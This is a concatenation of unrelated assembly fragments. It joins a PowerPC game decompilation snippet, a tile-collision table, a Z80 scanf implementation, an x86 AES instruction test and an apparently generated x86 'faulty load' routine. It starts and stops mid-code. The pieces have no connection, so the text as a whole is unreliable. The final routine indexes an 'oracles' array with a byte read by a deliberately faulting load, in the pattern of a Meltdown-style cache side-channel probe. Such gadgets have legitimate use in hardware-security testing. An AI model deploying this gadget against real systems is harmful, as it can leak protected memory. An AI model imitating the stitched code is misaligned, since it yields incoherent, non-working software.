r0, 0x9C(r31) lfs f1, -0x733C(r2) lfs f0, 0x20(r30) lfs f3, -0x735C(r2) fmuls f1, f1, f0 lfs f0, 0x1C(r30) fsubs f1, f3, f1 fmuls f0, f1, f0 stfs f0, 0x7C(r31) stfs f0, 0x80(r31) stfs f0, 0x84(r31) lwz r3, 0x2DEC(r13) lfs f2, 0x34(r30) lfs f1, 0x28C(r3) lfs f0, 0x14(r30) fmuls f1, f2, f1 lfs f2, 0x20(r30) fdivs f0, f1, f0 fadds f0, f2, f0 stfs f0, 0x20(r30) lwz r3, 0x2DEC(r13) lfs f1, -0x7338(r2) lfs f0, 0x28C(r3) lfs f2, 0x34(r30) fmuls f0, f1, f0 fadds f0, f2, f0 stfs f0, 0x34(r30) lfs f0, 0x20(r30) fcmpo cr0, f0, f3 cror 2, 0x1, 0x2 bne- .loc_0x2BC lwz r3, 0x55C(r31) lwz r0, 0x5C(r3) cmpwi r0, 0x3 bne- .loc_0x274 lwz r3, 0x458(r31) mr r4, r31 lwz r12, 0x0(r3) lwz r12, 0x16C(r12) mtlr r12 blrl b .loc_0x28C .loc_0x274: lwz r3, 0x458(r31) mr r4, r31 lwz r12, 0x0(r3) lwz r12, 0x168(r12) mtlr r12 blrl .loc_0x28C: li r0, 0 stb r0, 0x5B8(r31) addi r3, r31, 0 li r4, 0 bl -0x103B0 mr r3, r30 lwz r12, 0x0(r30) addi r4, r31, 0 li r5, 0x4 lwz r12, 0x4C(r12) mtlr r12 blrl .loc_0x2BC: lwz r0, 0x11C(r1) lwz r31, 0x114(r1) lwz r30, 0x110(r1) addi r1, r1, 0x118 mtlr r0 blr */ } /* * --INFO-- * Address: 8009B0C8 * Size: 000004 */ void Suckable::finishSuck(Pellet*) { } /* * --INFO-- * Address: 8009B0CC * Size: 000030 */ void PelletGoalState::cleanup(Pellet*) { /* .loc_0x0: mflr r0 stw r0, 0x4(r1) stwu r1, -0x8(r1) lbz r0, 0x31(r3) cmplwi r0, 0 beq- .loc_0x20 li r3, 0x15 bl 0x7923C .loc_0x20: lwz r0, 0xC(r1) addi r1, r1, 0x8 mtlr r0 blr */ } /* * --INFO-- * Address: 8009B0FC * Size: 000004 */ void AState<Pellet>::resume(Pellet*) { } /* * --INFO-- * Address: 8009B100 * Size: 000004 */ void AState<Pellet>::restart(Pellet*) { }
tilecoll WALL, WALL, WALL, WALL ; 00 tilecoll WALL, WALL, WALL, WALL ; 01 tilecoll WALL, WALL, WALL, WALL ; 02 tilecoll WALL, WALL, WALL, WALL ; 03 tilecoll WALL, WALL, WALL, WALL ; 04 tilecoll WALL, WALL, WALL, WALL ; 05 tilecoll WALL, WALL, WALL, WALL ; 06 tilecoll WALL, WALL, WALL, WALL ; 07 tilecoll FLOOR, FLOOR, WALL, WALL ; 08 tilecoll WALL, WALL, WALL, WALL ; 09 tilecoll FLOOR, WARP_CARPET_RIGHT, FLOOR, WARP_CARPET_RIGHT ; 0a tilecoll TALL_GRASS, TALL_GRASS, TALL_GRASS, TALL_GRASS ; 0b tilecoll WALL, WALL, WALL, WALL ; 0c tilecoll WALL, WALL, DOOR, WALL ; 0d tilecoll WALL, WALL, WALL, WALL ; 0e tilecoll WALL, WALL, WALL, DOOR ; 0f tilecoll WALL, WALL, WALL, WALL ; 10 tilecoll WALL, WALL, WALL, WALL ; 11 tilecoll WALL, WALL, WALL, WALL ; 12 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 13 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 14 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 15 tilecoll WALL, WALL, WALL, WALL ; 16 tilecoll FLOOR, FLOOR, WALL, WALL ; 17 tilecoll FLOOR, FLOOR, WALL, WALL ; 18 tilecoll WALL, WALL, WALL, WALL ; 19 tilecoll WALL, WALL, WALL, WALL ; 1a tilecoll WALL, WALL, WALL, WALL ; 1b tilecoll WALL, WALL, WALL, WALL ; 1c tilecoll WALL, WALL, WALL, WALL ; 1d tilecoll WALL, FLOOR, FLOOR, FLOOR ; 1e tilecoll WALL, FLOOR, WALL, FLOOR ; 1f tilecoll WALL, WALL, WALL, WALL ; 20 tilecoll WALL, WALL, WALL, WALL ; 21 tilecoll WALL, WALL, DOOR, WALL ; 22 tilecoll WALL, WALL, WALL, WALL ; 23 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 24 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 25 tilecoll WALL, WALL, WALL, WALL ; 26 tilecoll WALL, WALL, WALL, WALL ; 27 tilecoll WALL, WALL, WALL, WALL ; 28 tilecoll WALL, WALL, WALL, WALL ; 29 tilecoll WALL, WALL, WALL, WALL ; 2a tilecoll WALL, WALL, WALL, WALL ; 2b tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 2c tilecoll WALL, FLOOR, WALL, FLOOR ; 2d tilecoll WALL, WALL, WALL, WALL ; 2e tilecoll WALL, FLOOR, WALL, FLOOR ; 2f tilecoll WALL, WALL, WALL, WALL ; 30 tilecoll WALL, WALL, WALL, WALL ; 31 tilecoll WALL, CUT_TREE, WALL, FLOOR ; 32 tilecoll WALL, WALL, FLOOR, CUT_TREE ; 33 tilecoll CUT_TREE, FLOOR, WALL, WALL ; 34 tilecoll WALL, CUT_TREE, WALL, FLOOR ; 35 tilecoll WALL, WALL, FLOOR, WALL ; 36 tilecoll WALL, WALL, WALL, WALL ; 37 tilecoll WALL, WALL, WALL, WALL ; 38 tilecoll WALL, FLOOR, WALL, FLOOR ; 39 tilecoll WALL, WALL, WALL, WALL ; 3a tilecoll WALL, WALL, WALL, WALL ; 3b tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 3c tilecoll WALL, FLOOR, WALL, FLOOR ; 3d tilecoll FLOOR, FLOOR, WALL, WALL ; 3e tilecoll WALL, WALL, WALL, WALL ; 3f tilecoll WALL, WALL, DOOR, WALL ; 40 tilecoll WALL, WALL, WALL, WALL ; 41 tilecoll WALL, WALL, WALL, WALL ; 42 tilecoll WATER, WATER, WATER, WATER ; 43 tilecoll WALL, WALL, WALL, WALL ; 44 tilecoll WALL, WALL, WALL, WALL ; 45 tilecoll WALL, WALL, WALL, WALL ; 46 tilecoll WALL, WALL, WALL, WALL ; 47 tilecoll WALL, WALL, WALL, DOOR ; 48 tilecoll FLOOR, FLOOR, WALL, WALL ; 49 tilecoll FLOOR, FLOOR, WALL, WALL ; 4a tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 4b tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 4c tilecoll FLOOR, WALL, FLOOR, WALL ; 4d tilecoll FLOOR, WALL, FLOOR, WALL ; 4e tilecoll FLOOR, FLOOR, WALL, WALL ; 4f tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 50 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 51 tilecoll FLOOR, FLOOR, WATER, WATER ; 52 tilecoll WALL, FLOOR, WALL, WALL ; 53 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 54 tilecoll FLOOR, FLOOR, WARP_CARPET_DOWN, WARP_CARPET_DOWN ; 55 tilecoll FLOOR, FLOOR, FLOOR, WALL ; 56 tilecoll FLOOR, WALL, FLOOR, WALL ; 57 tilecoll WALL, WALL, WALL, WALL ; 58 tilecoll WALL, WALL, DOOR, WALL ; 59 tilecoll WALL, WALL, WALL, WALL ; 5a tilecoll WALL, WALL, WALL, WALL ; 5b tilecoll WALL, WALL, WALL, WALL ; 5c tilecoll WALL, WALL, WALL, WALL ; 5d tilecoll WALL, WALL, WALL, WALL ; 5e tilecoll WALL, WALL, WALL, WALL ; 5f tilecoll FLOOR, WALL, CUT_TREE, WALL ; 60 tilecoll WALL, WALL, WALL, WALL ; 61 tilecoll FLOOR, FLOOR, WALL, WALL ; 62 tilecoll FLOOR, FLOOR, WALL, WALL ; 63 tilecoll FLOOR, FLOOR, WALL, WALL ; 64 tilecoll WALL, WALL, WALL, WALL ; 65 tilecoll WALL, WALL, DOOR, WALL ; 66 tilecoll WALL, WALL, DOOR, WALL ; 67 tilecoll WALL, WALL, WALL, WALL ; 68 tilecoll WALL, WALL, WALL, WALL ; 69 tilecoll FLOOR, WALL, FLOOR, WALL ; 6a tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 6b tilecoll WALL, WALL, FLOOR, FLOOR ; 6c tilecoll WALL, FLOOR, WALL, FLOOR ; 6d tilecoll FLOOR, WALL, FLOOR, WALL ; 6e tilecoll FLOOR, FLOOR, WALL, WALL ; 6f tilecoll FLOOR, FLOOR, WATER, WALL ; 70 tilecoll WALL, WALL, WALL, FLOOR ; 71 tilecoll WATER, WALL, WATER, WALL ; 72 tilecoll WATER, WALL, WATER, WALL ; 73 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 74 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 75 tilecoll FLOOR, FLOOR, WATER, WATER ; 76 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 77 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 78 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 79 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 7a tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 7b tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 7c tilecoll WALL, WALL, WALL, WALL ; 7d tilecoll WALL, WALL, WALL, WALL ; 7e tilecoll WALL, WALL, WALL, WALL ; 7f tilecoll WALL, WALL, WALL, WALL ; 80 tilecoll WALL, WALL, WALL, WALL ; 81 tilecoll WALL, WALL, DOOR, WALL ; 82 tilecoll WALL, WALL, WALL, WALL ; 83 tilecoll FLOOR, WALL, FLOOR, FLOOR ; 84 tilecoll FLOOR, FLOOR, WALL, WALL ; 85 tilecoll FLOOR, WALL, FLOOR, WALL ; 86 tilecoll WALL, FLOOR, FLOOR, FLOOR ; 87 tilecoll WATER, WATER, WATER, WATER ; 88 tilecoll FLOOR, WALL, FLOOR, WALL ; 89 tilecoll WALL, FLOOR, WALL, WALL ; 8a tilecoll FLOOR, WALL, WALL, WALL ; 8b tilecoll FLOOR, FLOOR, WALL, WALL ; 8c tilecoll FLOOR, WALL, FLOOR, WALL ; 8d tilecoll FLOOR, WALL, FLOOR, WALL ; 8e tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 8f tilecoll FLOOR, WALL, FLOOR, WALL ; 90 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 91 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 92 tilecoll WALL, WALL, WALL, WALL ; 93 tilecoll WALL, WALL, WALL, WALL ; 94 tilecoll WALL, WALL, WALL, WALL ; 95 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 96 tilecoll WALL, WALL, WALL, WALL ; 97 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; 98 tilecoll WALL, WALL, WALL, WALL ; 99 tilecoll WALL, WALL, WALL, WALL ; 9a tilecoll WALL, WALL, WALL, WALL ; 9b tilecoll WALL, FLOOR, WALL, FLOOR ; 9c tilecoll FLOOR, WALL, FLOOR, WALL ; 9d tilecoll WALL, WATER, WALL, WATER ; 9e tilecoll WALL, WALL, WALL, WATER ; 9f tilecoll WALL, WALL, WATER, WATER ; a0 tilecoll WALL, WALL, WATER, WALL ; a1 tilecoll WATER, WALL, WATER, WALL ; a2 tilecoll WATER, WALL, WALL, WALL ; a3 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; a4 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; a5 tilecoll WALL, WALL, WALL, WALL ; a6 tilecoll WALL, WALL, WALL, WALL ; a7 tilecoll WARP_CARPET_LEFT, FLOOR, WARP_CARPET_LEFT, FLOOR ; a8 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; a9 tilecoll FLOOR, WALL, WATER, WALL ; aa tilecoll FLOOR, FLOOR, WALL, WALL ; ab tilecoll WALL, WALL, WALL, WALL ; ac tilecoll FLOOR, WALL, WALL, WALL ; ad tilecoll WALL, FLOOR, WALL, WALL ; ae tilecoll WARP_CARPET_DOWN, WARP_CARPET_DOWN, WALL, WALL ; af tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; b0 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; b1 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; b2 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; b3 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; b4 tilecoll WALL, FLOOR, WALL, FLOOR ; b5 tilecoll WATER, WATER, WALL, WALL ; b6 tilecoll WALL, WATER, WALL, WALL ; b7 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; b8 tilecoll FLOOR, WALL, FLOOR, WALL ; b9 tilecoll WALL, FLOOR, WALL, FLOOR ; ba tilecoll WALL, FLOOR, WALL, FLOOR ; bb tilecoll WALL, FLOOR, WALL, FLOOR ; bc tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; bd tilecoll FLOOR, WALL, FLOOR, WALL ; be tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; bf tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; c0 tilecoll WALL, FLOOR, WALL, FLOOR ; c1 tilecoll WATER, WALL, WATER, WALL ; c2 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; c3 tilecoll FLOOR, WALL, FLOOR, FLOOR ; c4 tilecoll WALL, WALL, WALL, WALL ; c5 tilecoll WALL, WALL, WALL, WALL ; c6 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; c7 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; c8 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; c9 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; ca tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; cb tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; cc tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; cd tilecoll WALL, WALL, WALL, FLOOR ; ce tilecoll WALL, WALL, WALL, WALL ; cf tilecoll FLOOR, FLOOR, WALL, WALL ; d0 tilecoll FLOOR, WALL, WALL, WALL ; d1 tilecoll WALL, WALL, WALL, WALL ; d2 tilecoll WALL, WALL, WALL, WALL ; d3 tilecoll WALL, WALL, TALL_GRASS, TALL_GRASS ; d4 tilecoll WALL, WALL, WALL, WALL ; d5 tilecoll WARP_CARPET_LEFT, WARP_CARPET_RIGHT, WARP_CARPET_LEFT, WARP_CARPET_RIGHT ; d6 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; d7 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; d8 tilecoll FLOOR, FLOOR, FLOOR, FLOOR ; d9 tilecoll FLOOR, WALL, FLOOR, FLOOR ; da tilecoll FLOOR, FLOOR, WALL, FLOOR ; db tilecoll WALL, FLOOR, WALL, FLOOR ; dc tilecoll TALL_GRASS, WALL, FLOOR, WALL ; dd tilecoll WALL, WALL, WALL, FLOOR ; de tilecoll FLOOR, FLOOR, WALL, TALL_GRASS ; df tilecoll FLOOR, TALL_GRASS, TALL_GRASS, TALL_GRASS ; e0 tilecoll TALL_GRASS, FLOOR, TALL_GRASS, FLOOR ; e1
; =============================================================== ; Jan 2014 ; =============================================================== ; ; int vfscanf_unlocked(FILE *stream, const char *format, void *arg) ; ; See C11 specification. ; ; =============================================================== IFNDEF CLIB_OPT_SCANF INCLUDE "config_private.inc" defc CLIB_OPT_SCANF = __CLIB_OPT_SCANF defc CLIB_OPT_SCANF_2 = __CLIB_OPT_SCANF_2 ENDIF SECTION code_clib SECTION code_stdio PUBLIC asm_vfscanf_unlocked PUBLIC asm0_vfscanf_unlocked, asm1_vfscanf_unlocked EXTERN __stdio_verify_input, __stdio_scanf_sm_format, __stdio_recv_input_eatc EXTERN __stdio_scanf_sm_format_pct, error_einval_zc EXTERN __stdio_nextarg_bc, __stdio_length_modifier, error_erange_zc, l_atou asm_vfscanf_unlocked: ; enter : ix = FILE * ; de = char *format ; bc = void *stack_param = arg ; ; exit : ix = FILE * ; de = char *format (next unexamined char) ; hl = number of items assigned ; de'= number of chars consumed from the stream ; hl'= number of items assigned ; ; success ; ; carry reset ; ; fail ; ; hl will be -1 on eof and stream in error state ; carry set, errno set as below ; ; eacces = stream not open for reading ; eacces = stream is in an error state ; einval = unknown conversion specifier ; einval = error during scanf conversion ; erange = width out of range ; ; more errors may be set by underlying driver ; ; uses : all except ix ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; IF __CLIB_OPT_STDIO & $01 EXTERN __stdio_verify_valid call __stdio_verify_valid ret c ENDIF ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; asm1_vfscanf_unlocked: call __stdio_verify_input ; check that input from stream is ok ret c ; if input is not possible asm0_vfscanf_unlocked: IF (CLIB_OPT_SCANF != 0) || ((CLIB_OPT_SCANF_2 != 0) && __SDCC) ld hl,-40 add hl,sp ld sp,hl ; create forty bytes of workspace push bc ; save stack_param ENDIF exx ld de,0 ; de = num chars read from stream = 0 ld l,e ld h,d ; hl = num items assigned = 0 exx ;****************************** ; * FORMAT STRING LOOP ******** ; de = char *format ; stack = WORKSPACE_40, stack_param format_loop_scanf: ; MATCH STREAM CHARS UNTIL '%' OR '\0' ld hl,__stdio_scanf_sm_format ; format string state machine exx ld bc,$ffff ; match as many chars as we can call __stdio_recv_input_eatc exx percent_join_scanf: ld a,(de) jr c, possible_error_scanf ; a = next char of format string ; de = char *format (address of next char) ; stack = WORKSPACE_40, stack_param cp '%' jr z, possible_conversion_0_scanf or a jr nz, mismatch_error_scanf ; reached end of format string exit_success_scanf: IF (CLIB_OPT_SCANF != 0) || ((CLIB_OPT_SCANF_2 != 0) && __SDCC) ; stack = WORKSPACE_40, stack_param ld hl,42 add hl,sp ld sp,hl ; repair stack ENDIF exx push hl exx pop hl ; hl = num items assigned or a ; indicate success ret mismatch_error_scanf: call error_einval_zc exit_failure_scanf: IF (CLIB_OPT_SCANF != 0) || ((CLIB_OPT_SCANF_2 != 0) && _SDCC) ; stack = WORKSPACE_40, stack_param ld hl,42 add hl,sp ld sp,hl ; repair stack ENDIF exx push hl exx pop hl ; hl = num items assigned scf ; indicate failure ret possible_error_scanf: ; stream error occurred ; if end of format string reached no one cares or a jr z, exit_success_scanf jr exit_failure_scanf possible_conversion_0_scanf: ; format contains %, check for %% inc de ld a,(de) cp '%' jr nz, possible_conversion_1_scanf ; format contains %% so must consume % from stream stream_consume_pct_scanf: ld b,1 ld hl,__stdio_scanf_sm_format_pct ; enter format state machine at percent exx ld bc,$ffff ; match as many chars as we can call __stdio_recv_input_eatc exx djnz percent_join_scanf ; if % was seen on stream jr mismatch_error_scanf IF (CLIB_OPT_SCANF != 0) || ((CLIB_OPT_SCANF_2 != 0) && __SDCC) error_format_width_scanf: ; stack = WORKSPACE_40, stack_param, void *p pop hl call error_erange_zc jr exit_failure_scanf assignment_suppressed_scanf: inc de ; consume the '*' ld bc,0 ; void *p = 0 jr suppressed_rejoin_scanf ENDIF possible_conversion_1_scanf: ; only one % in format string or a jr z, stream_consume_pct_scanf ; if format string ends in % IF (CLIB_OPT_SCANF = 0) && ((CLIB_OPT_SCANF_2 = 0) || __SCCZ80) ; completely disable % logic ; scanf can only match format chars to the input stream ; de = address char after % in char *format jr mismatch_error_scanf ELSE ; regular % processing ;******************************* ; * PROCESS CONVERSION SPECIFIER ; a = next char to examine ; de = char *format (address of next char to examine) ; stack = WORKSPACE_40, stack_param ; CHECK FOR ASSIGNMENT SUPPRESSION cp '*' jr z, assignment_suppressed_scanf ; read void *p from stack params pop hl call __stdio_nextarg_bc ; bc = void *p push hl suppressed_rejoin_scanf: push bc ; de = char *format (address of next char to examine) ; stack = WORKSPACE_40, stack_param, void *p ; READ OPTIONAL WIDTH call l_atou jr c, error_format_width_scanf ; if overflow push hl ; save width (0 = default) ; READ OPTIONAL LENGTH MODIFIER call __stdio_length_modifier ; de = char *format (address of next char to examine) ; c = length modifier id ; stack = WORKSPACE_40, stack_param, void *p, width ; SET UP REGISTERS FOR CONVERTERS ld hl,6 add hl,sp ; hl = void *buffer ld a,c and $30 ; long modifiers activated ? sub $10 ld a,(de) ; a = conversion specifier inc de push de exx pop bc ; bc'= char *format (for %[) exx pop bc ; bc = width ex de,hl ; de = void *buffer ex (sp),hl ; hl = void *p ; a = conversion char ; bc = width (0 for default) ; de = void *buffer ; hl = void *p (0 for assignment suppression) ; bc'= char *format ; nc flag set if long modifiers present ; stack = WORKSPACE_40, stack_param, char *format ; CONVERSION SPECIFIER ; identify conversion "B[cdiInopsux" ; long modifies "Bdinopux" not "[cIs" jr nc, spec_long_scanf ; no long modifier IF CLIB_OPT_SCANF & $200000 cp '[' jr z, _scanf_bkt ; special treatment for '%[' ENDIF call spec_unmodified_scanf ; RETURN FROM CONVERSION ; stack = WORKSPACE_40, stack_param, char *format ; carry set on error spec_return_scanf: pop de ; de = char *format jp nc, format_loop_scanf jr exit_failure_scanf spec_unmodified_scanf: IF CLIB_OPT_SCANF & $01 cp 'd' EXTERN __stdio_scanf_d jp z, __stdio_scanf_d ENDIF IF CLIB_OPT_SCANF & $02 cp 'u' EXTERN __stdio_scanf_u jp z, __stdio_scanf_u ENDIF IF CLIB_OPT_SCANF & $40 cp 'i' EXTERN __stdio_scanf_i jp z, __stdio_scanf_i ENDIF IF CLIB_OPT_SCANF & $c0 cp 'x' EXTERN __stdio_scanf_x jp z, __stdio_scanf_x ENDIF IF CLIB_OPT_SCANF & $10 cp 'o' EXTERN __stdio_scanf_o jp z, __stdio_scanf_o ENDIF IF CLIB_OPT_SCANF & $80 cp 'p' EXTERN __stdio_scanf_p jp z, __stdio_scanf_p ENDIF IF CLIB_OPT_SCANF & $20 cp 'n' EXTERN __stdio_scanf_n jp z, __stdio_scanf_n ENDIF IF CLIB_OPT_SCANF & $100 cp 'B' EXTERN __stdio_scanf_bb jp z, __stdio_scanf_bb ENDIF spec_constant_scanf: IF CLIB_OPT_SCANF & $200 cp 's' EXTERN __stdio_scanf_s jp z, __stdio_scanf_s ENDIF IF CLIB_OPT_SCANF & $400 cp 'c' EXTERN __stdio_scanf_c jp z, __stdio_scanf_c ENDIF IF CLIB_OPT_SCANF & $800 cp 'I' EXTERN __stdio_scanf_ii jp z, __stdio_scanf_ii ENDIF ; UNRECOGNIZED CONVERSION ; stack = WORKSPACE_40, stack_param, char *format, return pop hl ; junk return address pop de ; de = char *format dec de ; move back to unknown conversion char jp mismatch_error_scanf spec_long_scanf: jr nz, longlong_spec_scanf long_spec_scanf: ; long modifier call __spec_long_scanf jr spec_return_scanf __spec_long_scanf: IF CLIB_OPT_SCANF & $1000 cp 'd' EXTERN __stdio_scanf_ld jp z, __stdio_scanf_ld ENDIF IF CLIB_OPT_SCANF & $2000 cp 'u' EXTERN __stdio_scanf_lu jp z, __stdio_scanf_lu ENDIF IF CLIB_OPT_SCANF & $40000 cp 'i' EXTERN __stdio_scanf_li jp z, __stdio_scanf_li ENDIF IF CLIB_OPT_SCANF & $c000 cp 'x' EXTERN __stdio_scanf_lx jp z, __stdio_scanf_lx ENDIF IF CLIB_OPT_SCANF & $10000 cp 'o' EXTERN __stdio_scanf_lo jp z, __stdio_scanf_lo ENDIF IF CLIB_OPT_SCANF & $80000 cp 'p' EXTERN __stdio_scanf_lp jp z, __stdio_scanf_lp ENDIF IF CLIB_OPT_SCANF & $20000 cp 'n' EXTERN __stdio_scanf_ln jp z, __stdio_scanf_ln ENDIF IF CLIB_OPT_SCANF & $100000 cp 'B' EXTERN __stdio_scanf_lbb jp z, __stdio_scanf_lbb ENDIF jr spec_constant_scanf IF CLIB_OPT_SCANF & $200000 _scanf_bkt: ; special treatment for %[ ; bc' communicates the format pointer EXTERN __stdio_scanf_bkt call __stdio_scanf_bkt ; bc'= char *format ; stack = WORKSPACE_40, stack_param, char *format (invalid) ; carry set on error pop bc ; junk invalid format exx push bc ; replace with valid one exx jr spec_return_scanf ENDIF longlong_spec_scanf: call __spec_longlong_scanf jp spec_return_scanf __spec_longlong_scanf: IF CLIB_OPT_SCANF_2 && __SDCC IF CLIB_OPT_SCANF_2 & $01 cp 'd' EXTERN __stdio_scanf_lld jp z, __stdio_scanf_lld ENDIF IF CLIB_OPT_SCANF_2 & $02 cp 'u' EXTERN __stdio_scanf_llu jp z, __stdio_scanf_llu ENDIF IF CLIB_OPT_SCANF_2 & $40 cp 'i' EXTERN __stdio_scanf_lli jp z, __stdio_scanf_lli ENDIF IF CLIB_OPT_SCANF_2 & $0c cp 'x' EXTERN __stdio_scanf_llx jp z, __stdio_scanf_llx ENDIF IF CLIB_OPT_SCANF_2 & $10 cp 'o' EXTERN __stdio_scanf_llo jp z, __stdio_scanf_llo ENDIF ENDIF jr spec_constant_scanf ENDIF
bits 64 aesenc xmm0,xmm4 vaesenc zmm0,zmm0,zmm4 vpclmullqlqdq zmm1,zmm1,zmm5 vpclmulqdq zmm0, zmm1, zmm2, 0 vaesenclast zmm0, zmm1, zmm2 bits 32 aesenc xmm0,xmm4 vaesenc zmm0,zmm0,zmm4 vpclmullqlqdq zmm1,zmm1,zmm5 vpclmulqdq zmm0, zmm1, zmm2, 0 vaesenclast zmm0, zmm1, zmm2 bits 16 aesenc xmm0,xmm4 vaesenc zmm0,zmm0,zmm4 vpclmullqlqdq zmm1,zmm1,zmm5 vpclmulqdq zmm0, zmm1, zmm2, 0 vaesenclast zmm0, zmm1, zmm2
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r8 push %r9 push %rbx push %rcx push %rdi push %rsi lea addresses_WC_ht+0x1c2b2, %r9 nop nop nop and %rbx, %rbx mov (%r9), %r11 nop nop nop nop nop dec %r8 lea addresses_UC_ht+0x10872, %rsi lea addresses_normal_ht+0x131a2, %rdi nop nop and $57076, %r9 mov $126, %rcx rep movsb nop cmp %rdi, %rdi lea addresses_WC_ht+0x4d72, %rdi cmp %r8, %r8 mov $0x6162636465666768, %rcx movq %rcx, (%rdi) nop nop nop nop and %r8, %r8 lea addresses_A_ht+0x147c2, %rdi dec %rbx movb $0x61, (%rdi) nop nop add $14550, %rsi lea addresses_D_ht+0x15d32, %r11 nop nop nop and %rdi, %rdi movl $0x61626364, (%r11) nop nop nop nop xor %r11, %r11 lea addresses_WT_ht+0x7f2, %r9 nop nop nop xor %r8, %r8 mov $0x6162636465666768, %rsi movq %rsi, %xmm7 vmovups %ymm7, (%r9) nop xor %rcx, %rcx lea addresses_D_ht+0x12d72, %rbx cmp $39438, %r8 mov $0x6162636465666768, %rcx movq %rcx, %xmm5 movups %xmm5, (%rbx) nop nop add %rbx, %rbx lea addresses_WC_ht+0xd6f2, %rcx clflush (%rcx) nop nop nop nop nop sub $27578, %r8 movw $0x6162, (%rcx) nop xor %rsi, %rsi lea addresses_A_ht+0x59f2, %rsi lea addresses_UC_ht+0xd6b2, %rdi nop nop nop nop nop sub $12606, %r8 mov $106, %rcx rep movsl nop dec %r9 lea addresses_normal_ht+0xceb2, %r8 nop nop nop inc %rsi movw $0x6162, (%r8) nop nop xor %rsi, %rsi lea addresses_A_ht+0x16a72, %rcx nop nop nop inc %rsi movb $0x61, (%rcx) nop sub $9495, %rbx lea addresses_D_ht+0x1839a, %rsi lea addresses_normal_ht+0x7f32, %rdi nop nop nop nop lfence mov $8, %rcx rep movsw sub %r9, %r9 lea addresses_WT_ht+0xde72, %r12 nop nop xor $46340, %r11 mov $0x6162636465666768, %rcx movq %rcx, %xmm3 vmovups %ymm3, (%r12) nop nop nop add %r9, %r9 lea addresses_normal_ht+0x8e57, %r9 clflush (%r9) sub $60920, %r12 movb $0x61, (%r9) nop nop cmp $51449, %r12 pop %rsi pop %rdi pop %rcx pop %rbx pop %r9 pop %r8 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r15 push %r8 push %r9 push %rbp push %rbx push %rcx // Store mov $0xd72, %rbp nop nop nop nop xor %r8, %r8 mov $0x5152535455565758, %r9 movq %r9, (%rbp) nop nop nop nop nop add %r15, %r15 // Store lea addresses_A+0x10d72, %r8 nop nop nop add $53140, %rbx movl $0x51525354, (%r8) nop nop xor $45353, %r8 // Store lea addresses_WC+0xa772, %rbp nop nop nop sub $55410, %r8 movw $0x5152, (%rbp) nop inc %rcx // Store lea addresses_A+0x10d72, %r9 nop nop nop nop dec %r10 mov $0x5152535455565758, %r8 movq %r8, (%r9) nop nop nop sub $27031, %rbx // Load lea addresses_D+0x1cef2, %r9 nop nop sub %r15, %r15 vmovups (%r9), %ymm1 vextracti128 $1, %ymm1, %xmm1 vpextrq $0, %xmm1, %rcx cmp $52249, %r15 // Store lea addresses_US+0x13b72, %r9 sub %r10, %r10 movw $0x5152, (%r9) nop cmp %rcx, %rcx // Store lea addresses_A+0x178f2, %r9 nop nop add $6315, %rbx movb $0x51, (%r9) nop xor %rbp, %rbp // Store lea addresses_PSE+0xf472, %r8 nop nop nop add %rbp, %rbp movw $0x5152, (%r8) nop add $2809, %r9 // Store lea addresses_UC+0x1567c, %r8 nop nop nop nop nop xor %rcx, %rcx mov $0x5152535455565758, %r9 movq %r9, (%r8) nop nop nop nop nop cmp %rbp, %rbp // Faulty Load lea addresses_A+0x10d72, %r10 nop nop nop dec %r9 movb (%r10), %bl lea oracles, %r9 and $0xff, %rbx shlq $12, %rbx mov (%r9,%rbx,1), %rbx pop %rcx pop %rbx pop %rbp pop %r9 pop %r8 pop %r15 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'type': 'addresses_A', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'} {'dst': {'type': 'addresses_P', 'same': False, 'size': 8, 'congruent': 11, 'NT': False, 